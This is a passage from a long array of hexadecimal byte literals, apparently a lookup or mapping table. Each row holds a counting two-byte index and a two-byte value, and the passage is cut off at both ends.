0x42, 0x01,\r\n0x00, 0x01, 0x59, 0x43, 0x01,\r\n0x00, 0x01, 0x5A, 0x44, 0x01,\r\n0x00, 0x01, 0x5B, 0x45, 0x01,\r\n0x00, 0x01, 0x5C, 0x46, 0x01,\r\n0x00, 0x01, 0x5D, 0x10, 0x00,\r\n0x00, 0x01, 0x5E, 0x47, 0x01,\r\n0x00, 0x01, 0x5F, 0x48, 0x01,\r\n0x00, 0x01, 0x60, 0x49, 0x01,\r\n0x00, 0x01, 0x61, 0x4a, 0x01,\r\n0x00, 0x01, 0x62, 0x4b, 0x01,\r\n0x00, 0x01, 0x63, 0x4c, 0x01,\r\n0x00, 0x01, 0x64, 0x05, 0x00,\r\n0x00, 0x01, 0x65, 0x4d, 0x01,\r\n0x00, 0x01, 0x66, 0x4e, 0x01,\r\n0x00, 0x01, 0x67, 0x4f, 0x01,\r\n0x00, 0x01, 0x68, 0x50, 0x01,\r\n0x00, 0x01, 0x69, 0x51, 0x01,\r\n0x00, 0x01, 0x6A, 0x52, 0x01,\r\n0x00, 0x01, 0x6B, 0x53, 0x01,\r\n0x00, 0x01, 0x6C, 0x54, 0x01,\r\n0x00, 0x01, 0x6D, 0x55, 0x01,\r\n0x00, 0x01, 0x6E, 0x56, 0x01,\r\n0x00, 0x01, 0x6F, 0x57, 0x01,\r\n0x00, 0x01, 0x70, 0x58, 0x01,\r\n0x00, 0x01, 0x71, 0x59, 0x01,\r\n0x00, 0x01, 0x72, 0x5a, 0x01,\r\n0x00, 0x01, 0x73, 0x5b, 0x01,\r\n0x00, 0x01, 0x74, 0x5c, 0x01,\r\n0x00, 0x01, 0x75, 0x5d, 0x01,\r\n0x00, 0x01, 0x76, 0x5e, 0x01,\r\n0x00, 0x01, 0x77, 0x5f, 0x01,\r\n0x00, 0x01, 0x78, 0x60, 0x01,\r\n0x00, 0x01, 0x79, 0x61, 0x01,\r\n0x00, 0x01, 0x7A, 0x62, 0x01,\r\n0x00, 0x01, 0x7B, 0x63, 0x01,\r\n0x00, 0x01, 0x7C, 0x64, 0x01,\r\n0x00, 0x01, 0x7D, 0x65, 0x01,\r\n0x00, 0x01, 0x7E, 0x66, 0x01,\r\n0x00, 0x01, 0x7F, 0x67, 0x01,\r\n0x00, 0x01, 0x80, 0x68, 0x01,\r\n0x00, 0x01, 0x81, 0x69, 0x01,\r\n0x00, 0x01, 0x82, 0x6a, 0x01,\r\n0x00, 0x01, 0x83, 0x6b, 0x01,\r\n0x00, 0x01, 0x84, 0x6c, 0x01,\r\n0x00, 0x01, 0x85, 0x6d, 0x01,\r\n0x00, 0x01, 0x86, 0x6e, 0x01,\r\n0x00, 0x01, 0x87, 0x6f, 0x01,\r\n0x00, 0x01, 0x88, 0x70, 0x01,\r\n0x00, 0x01, 0x89, 0x71, 0x01,\r\n0x00, 0x01, 0x8A, 0x72, 0x01,\r\n0x00, 0x01, 0x8B, 0x73, 0x01,\r\n0x00, 0x01, 0x8C, 0x74, 0x01,\r\n0x00, 0x01, 0x8D, 0x75, 0x01,\r\n0x00, 0x01, 0x8E, 0x76, 0x01,\r\n0x00, 0x01, 0x8F, 0x77, 0x01,\r\n0x00, 0x01, 0x90, 0x78, 0x01,\r\n0x00, 0x01, 0x91, 0x79, 0x01,\r\n0x00, 0x01, 0x92, 0x7a, 0x01,\r\n0x00, 0x01, 0x93, 0x7b, 0x01,\r\n0x00, 0x01, 0x94, 0x7c, 0x01,\r\n0x00, 0x01, 0x95, 0x7d, 0x01,\r\n0x00, 0x01, 0x96, 0x05, 0x00,\r\n0x00, 0x01, 0x97, 0x05, 0x00,\r\n0x00, 0x01, 0x98, 0x7e, 0x01,\r\n0x00, 0x01, 0x99, 0x7f, 0x01,\r\n0x00, 0x01, 0x9A, 0x80, 0x01,\r\n0x00, 0x01, 0x9B, 0x81, 0x01,\r\n0x00, 0x01, 0x9C, 0x82, 0x01,\r\n0x00, 0x01, 0x9D, 0x83, 0x01,\r\n0x00, 0x01, 0x9E, 0x84, 0x01,\r\n0x00, 0x01, 0x9F, 0x85, 0x01,\r\n0x00, 0x01, 0xA0, 0x86, 0x01,\r\n0x00, 0x01, 0xA1, 0x87, 0x01,\r\n0x00, 0x01, 0xA2, 0x88, 0x01,\r\n0x00, 0x01, 0xA3, 0x89, 0x01,\r\n0x00, 0x01, 0xA4, 0x8a, 0x01,\r\n0x00, 0x01, 0xA5, 0x8b, 0x01,\r\n0x00, 0x01, 0xA6, 0x8c, 0x01,\r\n0x00, 0x01, 0xA7, 0x8d, 0x01,\r\n0x00, 0x01, 0xA8, 0x8e, 0x01,\r\n0x00, 0x01, 0xA9, 0x8f, 0x01,\r\n0x00, 0x01, 0xAA, 0x90, 0x01,\r\n0x00, 0x01, 0xAB, 0x91, 0x01,\r\n0x00, 0x01, 0xAC, 0x92, 0x01,\r\n0x00, 0x01, 0xAD, 0x93, 0x01,\r\n0x00, 0x01, 0xAE, 0x94, 0x01,\r\n0x00, 0x01, 0xAF, 0x95, 0x01,\r\n0x00, 0x01, 0xB0, 0x96, 0x01,\r\n0x00, 0x01, 0xB1, 0x97, 0x01,\r\n0x00, 0x01, 0xB2, 0x98, 0x01,\r\n0x00, 0x01, 0xB3, 0x99, 0x01,\r\n0x00, 0x01, 0xB4, 0x9a, 0x01,\r\n0x00, 0x01, 0xB5, 0x9b, 0x01,\r\n0x00, 0x01, 0xB6, 0x9c, 0x01,\r\n0x00, 0x01, 0xB7, 0x9d, 0x01,\r\n0x00, 0x01, 0xB8, 0x9e, 0x01,\r\n0x00, 0x01, 0xB9, 0x9f, 0x01,\r\n0x00, 0x01, 0xBA, 0xa0, 0x01,\r\n0x00, 0x01, 0xBB, 0xa1, 0x01,\r\n0x00, 0x01, 0xBC, 0xa2, 0x01,\r\n0x00, 0x01, 0xBD, 0xa3, 0x01,\r\n0x00, 0x01, 0xBE, 0xa4, 0x01,\r\n0x00, 0x01, 0xBF, 0xa5, 0x01,\r\n0x00, 0x01, 0xC0, 0xa6, 0x01,\r\n0x00, 0x01, 0xC1, 0xa7, 0x01,\r\n0x00, 0x01, 0xC2, 0xa8, 0x01,\r\n0x00, 0x01, 0xC3, 0xa9, 0x01,\r\n0x00, 0x01, 0xC4, 0xaa, 0x01,\r\n0x00, 0x01, 0xC5, 0xab, 0x01,\r\n0x00, 0x01, 0xC6, 0xac, 0x01,\r\n0x00, 0x01, 0xC7, 0x05, 0x00,\r\n0x00, 0x01, 0xC8, 0xad, 0x01,\r\n0x00, 0x01, 0xC9, 0x05, 0x00,\r\n0x00, 0x01, 0xCA, 0xae, 0x01,\r\n0x00, 0x01, 0xCB, 0xaf, 0x01,\r\n0x00, 0x01, 0xCC, 0xb0, 0x01,\r\n0x00, 0x01, 0xCD, 0xb1, 0x01,\r\n0x00, 0x01, 0xCE, 0xb2, 0x01,\r\n0x00, 0x01, 0xCF, 0xb3, 0x01,\r\n0x00, 0x01, 0xD0, 0xb4, 0x01,\r\n0x00, 0x01, 0xD1, 0xb5, 0x01,\r\n0x00, 0x01, 0xD2, 0xb6, 0x01,\r\n0x00, 0x01, 0xD3, 0xb7, 0x01,\r\n0x00, 0x01, 0xD4, 0xb8, 0x01,\r\n0x00, 0x01, 0xD5, 0xb9, 0x01,\r\n0x00, 0x01, 0xD6, 0xba, 0x01,\r\n0x00, 0x01, 0xD7, 0xbb, 0x01,\r\n0x00, 0x01, 0xD8, 0xbc, 0x01,\r\n0x00, 0x01, 0xD9, 0xbd, 0x01,\r\n0x00, 0x01, 0xDA, 0xbe, 0x01,\r\n0x00, 0x01, 0xDB, 0xbf, 0x01,\r\n0x00, 0x01, 0xDC, 0xc0, 0x01,\r\n0x00, 0x01, 0xDD, 0xc1, 0x01,\r\n0x00, 0x01, 0xDE, 0xc2, 0x01,\r\n0x00, 0x01, 0xDF, 0xc3, 0x01,\r\n0x00, 0x01, 0xE0, 0xc4, 0x01,\r\n0x00, 0x01, 0xE1, 0xc5, 0x01,\r\n0x00, 0x01, 0xE2, 0xc6, 0x01,\r\n0x00, 0x01, 0xE3, 0xc7, 0x01,\r\n0x00, 0x01, 0xE4, 0xc8, 0x01,\r\n0x00, 0x01, 0xE5, 0x7c, 0x00,\r\n0x00, 0x01, 0xE6, 0xc9, 0x01,\r\n0x00, 0x01, 0xE7, 0xc9, 0x01,\r\n0x00, 0x01, 0xE8, 0xca, 0x01,\r\n0x00, 0x01, 0xE9, 0xcb, 0x01,\r\n0x00, 0x01, 0xEA, 0xcc, 0x01,\r\n0x00, 0x01, 0xEB, 0xcd, 0x01,\r\n0x00, 0x01, 0xEC, 0xce, 0x01,\r\n0x00, 0x01, 0xED, 0xcf, 0x01,\r\n0x00, 0x01, 0xEE, 0xd0, 0x01,\r\n0x00, 0x01, 0xEF, 0xd1, 0x01,\r\n0x00, 0x01, 0xF0, 0xd2, 0x01,\r\n0x00, 0x01, 0xF1, 0xd3, 0x01,\r\n0x00, 0x01, 0xF2, 0xd4, 0x01,\r\n0x00, 0x01, 0xF3, 0xd5, 0x01,\r\n0x00, 0x01, 0xF4, 0xd6, 0x01,\r\n0x00, 0x01, 0xF5, 0xd7, 0x01,\r\n0x00, 0x01, 0xF6, 0xd8, 0x01,\r\n0x00, 0x01, 0xF7, 0xd9, 0x01,\r\n0x00, 0x01, 0xF8, 0xda, 0x01,\r\n0x00, 0x01, 0xF9, 0xdb, 0x01,\r\n0x00, 0x01, 0xFA, 0xdc, 0x01,\r\n0x00, 0x01, 0xFB, 0xdd, 0x01,\r\n0x00, 0x01, 0xFC, 0xde, 0x01,\r\n0x00, 0x01, 0xFD, 0x44, 0x01,\r\n0x00, 0x01, 0xFE, 0xdf, 0x01,\r\n0x00, 0x01, 0xFF, 0xe0, 0x01,\r\n0x00, 0x02, 0x00, 0x9e, 0x00,\r\n0x00, 0x02, 0x01, 0xe1, 0x01,\r\n0x00, 0x02, 0x02, 0xe2, 0x01,\r\n0x00, 0x02, 0x03, 0xe3, 0x01,\r\n0x00, 0x02, 0x04, 0xe4, 0x01,\r\n0x00, 0x02, 0x05, 0xe5, 0x01,\r\n0x00, 0x02, 0x06, 0xe6, 0x01,\r\n0x00, 0x02, 0x07, 0xe7, 0x01,\r\n0x00, 0x02, 0x08, 0xe8, 0x01,\r\n0x00, 0x02, 0x09, 0xe9, 0x01,\r\n0x00, 0x02, 0x0A, 0xea, 0x01,\r\n0x00, 0x02, 0x0B, 0xeb, 0x01,\r\n0x00, 0x02, 0x0C, 0xec, 0x01,\r\n0x00, 0x02, 0x0D, 0xed, 0x01,\r\n0x00, 0x02, 0x0E, 0xee, 0x01,\r\n0x00, 0x02, 0x0F, 0xef, 0x01,\r\n0x00, 0x02, 0x10, 0xf0, 0x01,\r\n0x00, 0x02, 0x11, 0xf1, 0x01,\r\n0x00, 0x02, 0x12, 0xf2, 0x01,\r\n0x00, 0x02, 0x13, 0xf3, 0x01,\r\n0x00, 0x02, 0x14, 0xf4, 0x01,\r\n0x00, 0x02, 0x15, 0xf5, 0x01,\r\n0x00, 0x02, 0x16, 0xf6, 0x01,\r\n0x00, 0x02, 0x17, 0x05, 0x00,\r\n0x00, 0x02, 0x18, 0xf7, 0x01,\r\n0x00, 0x02, 0x19, 0xf8, 0x01,\r\n0x00, 0x02, 0x1A, 0xf9, 0x01,\r\n0x00, 0x02, 0x1B, 0xfa, 0x01,\r\n0x00, 0x02, 0x1C, 0xfb, 0x01,\r\n0x00, 0x02, 0x1D, 0xfc, 0x01,\r\n0x00, 0x02, 0x1E, 0xfd, 0x01,\r\n0x00, 0x02, 0x1F, 0xfe, 0x01,\r\n0x00, 0x02, 0x20, 0xff, 0x01,\r\n0x00, 0x02, 0x21, 0x00, 0x02,\r\n0x00, 0x02, 0x22, 0x01, 0x02,\r\n0x00, 0x02, 0x23, 0x02, 0x02,\r\n0x00, 0x02, 0x24, 0x03, 0x02,\r\n0x00, 0x02, 0x25, 0x04, 0x02,\r\n0x00, 0x02, 0x26, 0x05, 0x02,\r\n0x00, 0x02, 0x27, 0x06, 0x02,\r\n0x00, 0x02, 0x28, 0x07, 0x02,\r\n0x00, 0x02, 0x29, 0x08, 0x02,\r\n0x00, 0x02, 0x2A, 0x09, 0x02,\r\n0x00, 0x02, 0x2B, 0x0a, 0x02,\r\n0x00, 0x02, 0x2C, 0x0b, 0x02,\r\n0x00, 0x02, 0x2D, 0x0c, 0x02,\r\n0x00, 0x02, 0x2E, 0x0d, 0x02,\r\n0x00, 0x02, 0x2F, 0x0e, 0x02,\r\n0x00, 0x02, 0x30, 0x0f, 0x02,\r\n0x00, 0x02, 0x31, 0x10, 0x02,\r\n0x00, 0x02, 0x32, 0x11, 0x02,\r\n0x00, 0x02, 0x33, 0x12, 0x02,\r\n0x00, 0x02, 0x34, 0x13, 0x02,\r\n0x00, 0x02, 0x35, 0x14, 0x02,\r\n0x00, 0x02, 0x36, 0x15, 0x02,\r\n0x00, 0x02, 0x37, 0x16, 0x02,\r\n0x00, 0x02, 0x38, 0x17, 0x02,\r\n0x00, 0x02, 0x39, 0x18, 0x02,\r\n0x00, 0x02, 0x3A, 0x19, 0x02,\r\n0x00, 0x02, 0x3B, 0xce, 0x01,\r\n0x00, 0x02, 0x3C, 0x1a, 0x02,\r\n0x00, 0x02, 0x3D, 0x05, 0x00,\r\n0x00, 0x02, 0x3E, 0x1b, 0x02,\r\n0x00, 0x02, 0x3F, 0x1c, 0x02,\r\n0x00, 0x02, 0x40, 0x1d, 0x02,\r\n0x00, 0x02, 0x41, 0x1e, 0x02,\r\n0x00, 0x02, 0x42, 0x1f, 0x02,\r\n0x00, 0x02, 0x43, 0x20, 0x02,\r\n0x00, 0x02, 0x44, 0x21, 0x02,\r\n0x00, 0x02, 0x45, 0x22, 0x02,\r\n0x00, 0x02, 0x46, 0x23, 0x02,\r\n0x00, 0x02, 0x47, 0x24, 0x02,\r\n0x00, 0x02, 0x48, 0x25, 0x02,\r\n0x00, 0x02, 0x49, 0x26, 0x02,\r\n0x00, 0x02, 0x4A, 0x05, 0x00,\r\n0x00, 0x02, 0x4B, 0x05, 0x00,\r\n0x00, 0x02, 0x4C, 0x27, 0x02,\r\n0x00, 0x02, 0x4D, 0x28, 0x02,\r\n0x00, 0x02, 0x4E, 0x29, 0x02,\r\n0x00, 0x02, 0x4F, 0x2a, 0x02,\r\n0x00, 0x02, 0x50, 0x2b, 0x02,\r\n0x00, 0x02, 0x51, 0x2c, 0x02,\r\n0x00, 0x02, 0x52, 0x2d, 0x02,\r\n0x00, 0x02, 0x53, 0xa7, 0x00,\r\n0x00, 0x02, 0x54, 0x2e, 0x02,\r\n0x00, 0x02, 0x55, 0x2f, 0x02,\r\n0x00, 0x02, 0x56, 0x30, 0x02,\r\n0x00, 0x02, 0x57, 0x88, 0x00,\r\n0x00, 0x02, 0x58, 0x31, 0x02,\r\n0x00, 0x02, 0x59, 0x32, 0x02,\r\n0x00, 0x02, 0x5A, 0x33, 0x02,\r\n0x00, 0x02, 0x5B, 0x34, 0x02,\r\n0x00, 0x02, 0x5C, 0x35, 0x02,\r\n0x00, 0x02, 0x5D, 0x36, 0x02,\r\n0x00, 0x02, 0x5E, 0x37, 0x02,\r\n0x00, 0x02, 0x5F, 0x69, 0x01,\r\n0x00, 0x02, 0x60, 0x38, 0x02,\r\n0x00, 0x02, 0x61, 0x39, 0x02,\r\n0x00, 0x02, 0x62, 0x3a, 0x02,\r\n0x00, 0x02, 0x63, 0x3b, 0x02,\r\n0x00, 0x02, 0x64, 0x3c, 0x02,\r\n0x00, 0x02, 0x65, 0x3d, 0x02,\r\n0x00, 0x02, 0x66, 0x3e, 0x02,\r\n0x00, 0x02, 0x67, 0x3f, 0x02,\r\n0x00, 0x02, 0x68, 0x40, 0x02,\r\n0x00, 0x02, 0x69, 0x41, 0x02,\r\n0x00, 0x02, 0x6A, 0x42, 0x02,\r\n0x00, 0x02, 0x6B, 0x43, 0x02,\r\n0x00, 0x02, 0x6C, 0x44, 0x02,\r\n0x00, 0x02, 0x6D, 0x45, 0x02,\r\n0x00, 0x02, 0x6E, 0x46, 0x02,\r\n0x00, 0x02, 0x6F, 0x47, 0x02,\r\n0x00, 0x02, 0x70, 0x48, 0x02,\r\n0x00, 0x02, 0x71, 0x31, 0x01,\r\n0x00, 0x02, 0x72, 0x49, 0x02,\r\n0x00, 0x02, 0x73, 0x4a, 0x02,\r\n0x00, 0x02, 0x74, 0x4b, 0x02,\r\n0x00, 0x02, 0x75, 0x4c, 0x02,\r\n0x00, 0x02, 0x76, 0x4d, 0x02,\r\n0x00, 0x02, 0x77, 0x4e, 0x02,\r\n0x00, 0x02, 0x78, 0x4f, 0x02,\r\n0x00, 0x02, 0x79, 0x50, 0x02,\r\n0x00, 0x02, 0x7A, 0x51, 0x02,\r\n0x00, 0x02, 0x7B, 0x52, 0x02,\r\n0x00, 0x02, 0x7C, 0x53, 0x02,\r\n0x00, 0x02, 0x7D, 0x05, 0x00,\r\n0x00, 0x02, 0x7E, 0x05, 0x00,\r\n0x00, 0x02, 0x7F, 0x54, 0x02,\r\n0x00, 0x02, 0x80, 0x55, 0x02,\r\n0x00, 0x02, 0x81, 0xb6, 0x00,\r\n0x00, 0x02, 0x82, 0x56, 0x02,\r\n0x00, 0x02, 0x83, 0x57, 0x02,\r\n0x00, 0x02, 0x84, 0x58, 0x02,\r\n0x00, 0x02, 0x85, 0x59, 0x02,\r\n0x00, 0x02, 0x86, 0x5a, 0x02,\r\n0x00, 0x02, 0x87, 0x5b, 0x02,\r\n0x00, 0x02, 0x88, 0x5c, 0x02,\r\n0x00, 0x02, 0x89, 0x5d, 0x02,\r\n0x00, 0x02, 0x8A, 0x5e, 0x02,\r\n0x00, 0x02, 0x8B, 0x5f, 0x02,\r\n0x00, 0x02, 0x8C, 0x60, 0x02,\r\n0x00, 0x02, 0x8D, 0x61, 0x02,\r\n0x00, 0x02, 0x8E, 0x62, 0x02,\r\n0x00, 0x02, 0x8F, 0x63, 0x02,\r\n0x00, 0x02, 0x90, 0x64, 0x02,\r\n0x00, 0x02, 0x91, 0x14, 0x01,\r\n0x00, 0x02, 0x92, 0x65, 0x02,\r\n0x00, 0x02, 0x93, 0x66, 0x02,\r\n0x00, 0x02, 0x94, 0x67, 0x02,\r\n0x00, 0x02, 0x95, 0x68, 0x02,\r\n0x00, 0x02, 0x96, 0x69, 0x02,\r\n0x00, 0x02, 0x97, 0x6a, 0x02,\r\n0x00, 0x02, 0x98, 0x6b, 0x02,\r\n0x00, 0x02, 0x99, 0x6c, 0x02,\r\n0x00, 0x02, 0x9A, 0x6d, 0x02,\r\n0x00, 0x02, 0x9B, 0x6e, 0x02,\r\n0x00, 0x02, 0x9C, 0xf2, 0x00,\r\n0x00, 0x02, 0x9D, 0x6f, 0x02,\r\n0x00, 0x02, 0x9E, 0x0b, 0x00,\r\n0x00, 0x02, 0x9F, 0x70, 0x02,\r\n0x00, 0x02, 0xA0, 0x71, 0x02,\r\n0x00, 0x02, 0xA1, 0x72, 0x02,\r\n0x00, 0x02, 0xA2, 0x73, 0x02,\r\n0x00, 0x02, 0xA3, 0x74, 0x02,\r\n0x00, 0x02, 0xA4, 0x75, 0x02,\r\n0x00, 0x02, 0xA5, 0xc9, 0x01,\r\n0x00, 0x02, 0xA6, 0x76, 0x02,\r\n0x00, 0x02, 0xA7, 0x77, 0x02,\r\n0x00, 0x02, 0xA8, 0x78, 0x02,\r\n0x00, 0x02, 0xA9, 0x79, 0x02,\r\n0x00, 0x02, 0xAA, 0x7a, 0x02,\r\n0x00, 0x02, 0xAB, 0x7b, 0x02,\r\n0x00, 0x02, 0xAC, 0x7c, 0x02,\r\n0x00, 0x02, 0xAD, 0x7d, 0x02,\r\n0x00, 0x02, 0xAE, 0x7e, 0x02,\r\n0x00, 0x02, 0xAF, 0x7f, 0x02,\r\n0x00, 0x02, 0xB0, 0x80, 0x02,\r\n0x00, 0x02, 0xB1, 0x89, 0x00,\r\n0x00, 0x02, 0xB2, 0x81, 0x02,\r\n0x00, 0x02, 0xB3, 0x82, 0x02,\r\n0x00, 0x02, 0xB4, 0x83, 0x02,\r\n0x00, 0x02, 0xB5, 0x84, 0x02,\r\n0x00, 0x02, 0xB6, 0x85, 0x02,\r\n0x00, 0x02, 0xB7, 0x86, 0x02,\r\n0x00, 0x02, 0xB8, 0x87, 0x02,\r\n0x00, 0x02, 0xB9, 0x05, 0x00,\r\n0x00, 0x02, 0xBA, 0x05, 0x00,\r\n0x00, 0x02, 0xBB, 0x88, 0x02,\r\n0x00, 0x02, 0xBC, 0x89, 0x02,\r\n0x00, 0x02, 0xBD, 0x8a, 0x02,\r\n0x00, 0x02, 0xBE, 0x8b, 0x02,\r\n0x00, 0x02, 0xBF, 0x8c, 0x02,\r\n0x00, 0x02, 0xC0, 0x8d, 0x02,\r\n0x00, 0x02, 0xC1, 0xd3, 0x01,\r\n0x00, 0x02, 0xC2, 0x8e, 0x02,\r\n0x00, 0x02, 0xC3, 0x8f, 0x02,\r\n0x00, 0x02, 0xC4, 0x90, 0x02,\r\n0x00, 0x02, 0xC5, 0x91, 0x02,\r\n0x00, 0x02, 0xC6, 0x92, 0x02,\r\n0x00, 0x02, 0xC7, 0x93, 0x02,\r\n0x00, 0x02, 0xC8, 0x94, 0x02,\r\n0x00, 0x02, 0xC9, 0x95, 0x02,\r\n0x00, 0x02, 0xCA, 0x96, 0x02,\r\n0x00, 0x02, 0xCB, 0x97, 0x02,\r\n0x00, 0x02, 0xCC, 0x98, 0x02,\r\n0x00, 0x02, 0xCD, 0x99, 0x02,\r\n0x00, 0x02, 0xCE, 0x9a, 0x02,\r\n0x00, 0x02, 0xCF, 0x9b, 0x02,\r\n0x00, 0x02, 0xD0, 0x9c, 0x02,\r\n0x00, 0x02, 0xD1, 0x9d, 0x02,\r\n0x00, 0x02, 0xD2, 0x9e, 0x02,\r\n0x00, 0x02, 0xD3, 0x9f, 0x02,\r\n0x00, 0x02, 0xD4, 0xa0, 0x02,\r\n0x00, 0x02, 0xD5, 0xa1, 0x02,\r\n0x00, 0x02, 0xD6, 0xa2, 0x02,\r\n0x00, 0x02, 0xD7, 0xa3, 0x02,\r\n0x00, 0x02, 0xD8, 0xa4, 0x02,\r\n0x00, 0x02, 0xD9, 0xa5, 0x02,\r\n0x00, 0x02, 0xDA, 0xa6, 0x02,\r\n0x00, 0x02, 0xDB, 0xa7, 0x02,\r\n0x00, 0x02, 0xDC, 0xa8, 0x02,\r\n0x00, 0x02, 0xDD, 0xa9, 0x02,\r\n0x00, 0x02, 0xDE, 0xaa, 0x02,\r\n0x00, 0x02, 0xDF, 0xab, 0x02,\r\n0x00, 0x02, 0xE0, 0xac, 0x02,\r\n0x00, 0x02, 0xE1, 0xd5, 0x00,\r\n0x00, 0x02, 0xE2, 0xad, 0x02,\r\n0x00, 0x02, 0xE3, 0xae, 0x02,\r\n0x00, 0x02, 0xE4, 0xaf, 0x02,\r\n0x00, 0x02, 0xE5, 0xb0, 0x02,\r\n0x00, 0x02, 0xE6, 0xb1, 0x02,\r\n0x00, 0x02, 0xE7, 0xb2, 0x02,\r\n0x00, 0x02, 0xE8, 0xb3, 0x02,\r\n0x00, 0x02, 0xE9, 0xb4, 0x02,\r\n0x00, 0x02, 0xEA, 0xb5, 0x02,\r\n0x00, 0x02, 0xEB, 0xb6, 0x02,\r\n0x00, 0x02, 0xEC, 0xb7, 0x02,\r\n0x00, 0x02, 0xED, 0xb8, 0x02,\r\n0x00, 0x02, 0xEE, 0xb9, 0x02,\r\n0x00, 0x02, 0xEF, 0xba, 0x02,\r\n0x00, 0x02, 0xF0, 0xbb, 0x02,\r\n0x00, 0x02, 0xF1, 0xbc, 0x02,\r\n0x00, 0x02, 0xF2, 0xbd, 0x02,\r\n0x00, 0x02, 0xF3, 0xbe, 0x02,\r\n0x00, 0x02, 0xF4, 0xbf, 0x02,\r\n0x00, 0x02, 0xF5, 0xc0, 0x02,\r\n0x00, 0x02, 0xF6, 0xc1, 0x02,\r\n0x00, 0x02, 0xF7, 0xc2, 0x02,\r\n0x00, 0x02, 0xF8, 0xc3, 0x02,\r\n0x00, 0x02, 0xF9, 0xc4, 0x02,\r\n0x00, 0x02, 0xFA, 0xc5, 0x02,\r\n0x00, 0x02, 0xFB, 0xc6, 0x02,\r\n0x00, 0x02, 0xFC, 0x05, 0x00,\r\n0x00, 0x02, 0xFD, 0x05, 0x00,\r\n0x00, 0x02, 0xFE, 0xc7, 0x02,\r\n0x00, 0x02, 0xFF, 0xc8, 0x02,\r\n0x00, 0x03, 0x00, 0xc9, 0x02,\r\n0x00, 0x03, 0x01, 0xca, 0x02,\r\n0x00, 0x03, 0x02, 0xcb, 0x02,\r\n0x00, 0x03, 0x03, 0xcc, 0x02,\r\n0x00, 0x03, 0x04, 0xcd, 0x02,\r\n0x00, 0x03, 0x05, 0xce, 0x02,\r\n0x00, 0x03, 0x06, 0xcf, 0x02,\r\n0x00, 0x03, 0x07, 0xd0, 0x02,\r\n0x00, 0x03, 0x08, 0xd1, 0x02,\r\n0x00, 0x03, 0x09, 0xd2, 0x02,\r\n0x00, 0x03, 0x0A, 0xd3, 0x02,\r\n0x00, 0x03, 0x0B, 0xd4, 0x02,\r\n0x00, 0x03, 0x0C, 0xd5, 0x02,\r\n0x00, 0x03, 0x0D, 0xd6, 0x02,\r\n0x00, 0x03, 0x0E, 0xd7, 0x02,\r\n0x00, 0x03, 0x0F, 0xd8, 0x02,\r\n0x00, 0x03, 0x10, 0xd9, 0x02,\r\n0x00, 0x03, 0x11, 0x3c, 0x00,\r\n0x00, 0x03, 0x12, 0xda, 0x02,\r\n0x00, 0x03, 0x13, 0xdb, 0x02,\r\n0x00, 0x03, 0x14, 0xdc, 0x02,\r\n0x00, 0x03, 0x15, 0xdd, 0x02,\r\n0x00, 0x03, 0x16, 0xde, 0x02,\r\n0x00, 0x03, 0x17, 0xdf, 0x02,\r\n0x00, 0x03, 0x18, 0xe0, 0x02,\r\n0x00, 0x03, 0x19, 0xe1, 0x02,\r\n0x00, 0x03, 0x1A, 0xe2, 0x02,\r\n0x00, 0x03, 0x1B, 0xe3, 0x02,\r\n0x00, 0x03, 0x1C, 0xe4, 0x02,\r\n0x00, 0x03, 0x1D, 0xe5, 0x02,\r\n0x00, 0x03, 0x1E, 0xe6, 0x02,\r\n0x00, 0x03, 0x1F, 0xe7, 0x02,\r\n0x00, 0x03, 0x20, 0xe8, 0x02,\r\n0x00, 0x03, 0x21, 0xe9, 0x02,\r\n0x00, 0x03, 0x22, 0xea, 0x02,\r\n0x00, 0x03, 0x23, 0xeb, 0x02,\r\n0x00, 0x03, 0x24, 0xec, 0x02,\r\n0x00, 0x03, 0x25, 0xed, 0x02,\r\n0x00, 0x03, 0x26, 0xee, 0x02,\r\n0x00, 0x03, 0x27, 0xef, 0x02,\r\n0x00, 0x03, 0x28, 0xf0, 0x02,\r\n0x00, 0x03, 0x29, 0xf1, 0x02,\r\n0x00, 0x03, 0x2A, 0xf2, 0x02,\r\n0x00, 0x03, 0x2B, 0xf3, 0x02,\r\n0x00, 0x03, 0x2C, 0x74, 0x02,\r\n0x00, 0x03, 0x2D, 0xf4, 0x02,\r\n0x00, 0x03, 0x2E, 0xf5, 0x02,\r\n0x00, 0x03, 0x2F, 0xf6, 0x02,\r\n0x00, 0x03, 0x30, 0xf7, 0x02,\r\n0x00, 0x03, 0x31, 0x05, 0x00,\r\n0x00, 0x03, 0x32, 0x05, 0x00,\r\n0x00, 0x03, 0x33, 0xf8, 0x02,\r\n0x00, 0x03, 0x34, 0xf9, 0x02,\r\n0x00, 0x03, 0x35, 0xfa, 0x02,\r\n0x00, 0x03, 0x36, 0xfb, 0x02,\r\n0x00, 0x03, 0x37, 0xfc, 0x02,\r\n0x00, 0x03, 0x38, 0xfd, 0x02,\r\n0x00, 0x03, 0x39, 0xfe, 0x02,\r\n0x00, 0x03, 0x3A, 0xff, 0x02,\r\n0x00, 0x03, 0x3B, 0x00, 0x03,\r\n0x00, 0x03, 0x3C, 0x01, 0x03,\r\n0x00, 0x03, 0x3D, 0x02, 0x03,\r\n0x00, 0x03, 0x3E, 0x03, 0x03,\r\n0x00, 0x03, 0x3F, 0x04, 0x03,\r\n0x00, 0x03, 0x40, 0x05, 0x03,\r\n0x00, 0x03, 0x41, 0x06, 0x03,\r\n0x00, 0x03, 0x42, 0x69, 0x01,\r\n0x00, 0x03, 0x43, 0x07, 0x03,\r\n0x00, 0x03, 0x44, 0x08, 0x03,\r\n0x00, 0x03, 0x45, 0x09, 0x03,\r\n0x00, 0x03, 0x46, 0x0a, 0x03,\r\n0x00, 0x03, 0x47, 0x82, 0x02,\r\n0x00, 0x03, 0x48, 0x0b, 0x03,\r\n0x00, 0x03, 0x49, 0x0c, 0x03,\r\n0x00, 0x03, 0x4A, 0x0d, 0x03,\r\n0x00, 0x03, 0x4B, 0x69, 0x01,\r\n0x00, 0x03, 0x4C, 0x0e, 0x03,\r\n0x00, 0x03, 0x4D, 0x0f, 0x03,\r\n0x00, 0x03, 0x4E, 0x10, 0x03,\r\n0x00, 0x03, 0x4F, 0x11, 0x03,\r\n0x00, 0x03, 0x50, 0x12, 0x03,\r\n0x00, 0x03, 0x51, 0x13, 0x03,\r\n0x00, 0x03, 0x52, 0x14, 0x03,\r\n0x00, 0x03, 0x53, 0x15, 0x03,\r\n0x00, 0x03, 0x54, 0x16, 0x03,\r\n0x00, 0x03, 0x55, 0x17, 0x03,\r\n0x00, 0x03, 0x56, 0x18, 0x03,\r\n0x00, 0x03, 0x57, 0x19, 0x03,\r\n0x00, 0x03, 0x58, 0x1a, 0x03,\r\n0x00, 0x03, 0x59, 0x1b, 0x03,\r\n0x00, 0x03, 0x5A, 0x1c, 0x03,\r\n0x00, 